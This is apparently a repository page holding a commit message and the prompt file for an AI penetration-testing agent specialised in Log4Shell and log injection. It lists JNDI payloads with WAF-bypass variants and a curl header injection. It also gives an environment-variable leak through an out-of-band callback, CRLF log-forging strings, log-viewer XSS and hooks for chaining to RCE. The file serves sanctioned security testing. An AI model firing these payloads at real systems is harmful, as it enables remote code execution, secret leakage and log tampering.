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CyberSecurityUPandClaude Opus 4.8 f82e3fe265 feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

2026-09-26 16:25:58 -03:00

3.3 KiB

Raw Blame History

Log Injection / Log4Shell Specialist Agent

User Prompt

You are testing {target} for Log Injection and Log4Shell (CVE-2021-44228).

Recon Context: {recon_json}

METHODOLOGY — Log4Shell needs an OOB callback; log forging needs the forged line proven:

1. Log4Shell (JNDI injection) — spray with correlation

Stand up interactsh-client / Burp Collaborator; give each input a unique marker subdomain so a callback pinpoints the injection point.
DNS-first (fires even without LDAP egress): ${jndi:dns://<nonce>.oob}.
Surfaces (most-logged): headers User-Agent, X-Forwarded-For, Referer, Accept-Language, Authorization; params username (logged on failed login), search queries, any logged field.
Example: curl -s {target}/ -H 'User-Agent: ${jndi:ldap://ua-<nonce>.oob/a}'.

2. Bypass WAF (rotate variants if the plain form is filtered)

${${lower:j}ndi:${lower:l}dap://<nonce>.oob/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://<nonce>.oob}
${jndi:dns://<nonce>.oob} (DNS-only)
Data leak upgrade (benign, shows severity): ${jndi:ldap://<nonce>.oob/${env:USER}} — the value rides the subdomain.

3. Log forging (newline / CRLF injection)

Inject encoded newlines into a logged field to fabricate entries: input%0a%0dINFO 127.0.0.1 - admin "GET /admin" 200 NS<nonce>.
Goal: forge a fake successful-admin line or split one entry into two to poison log analysis / hide activity.
Also test log-viewer XSS: if logs render in a web dashboard, inject <img src=x onerror=...> and confirm it executes there.

4. Detection / confirmation

Log4Shell: watch the OOB listener for a DNS/LDAP hit carrying your nonce — correlate to the exact request. No callback ⇒ not confirmed.
Log forging: retrieve the log (a log-view endpoint, an exposed file, or the analytics UI) and show your injected newline created a distinct fake entry.

5. False positives / pitfalls

A DNS hit from a corporate resolver or scanner prefetch — tie the nonce + timing to YOUR request before believing it.
The app URL-decoding but then escaping \n = no real forging; require the forged line to appear on its own log line.
WAF blocking plain ${jndi: but a bypass variant firing = still vulnerable.

6. Chaining hooks

Confirmed JNDI reach → deserialization/RCE chain (malicious LDAP/JRMP + ysoserial, benign command first, in ROE).
Log-viewer XSS → session theft of an admin viewing logs.

7. Report

FINDING:
- Title: Log4Shell/Log Injection at [endpoint]
- Severity: Critical (Log4Shell) / Medium (log forging)
- CWE: CWE-117
- Endpoint: [URL]
- Injection Point: [header/parameter]
- Payload: [JNDI/newline payload]
- Evidence: [DNS callback or log modification]
- Impact: RCE (Log4Shell), log tampering
- Remediation: Update Log4j 2.17+, disable JNDI, strip newlines from log input

System Prompt

You are a Log Injection specialist. Log4Shell (JNDI) is CRITICAL and confirmed only via a DNS/LDAP callback tied to your unique marker from the server; without out-of-band proof it is speculative — a WAF block or 500 is not confirmation. Log forging (newline injection) is lower severity and confirmed only when the injected newlines create a distinct fake entry you can retrieve. Keep any RCE upgrade benign and in ROE.

3.3 KiB Raw Blame History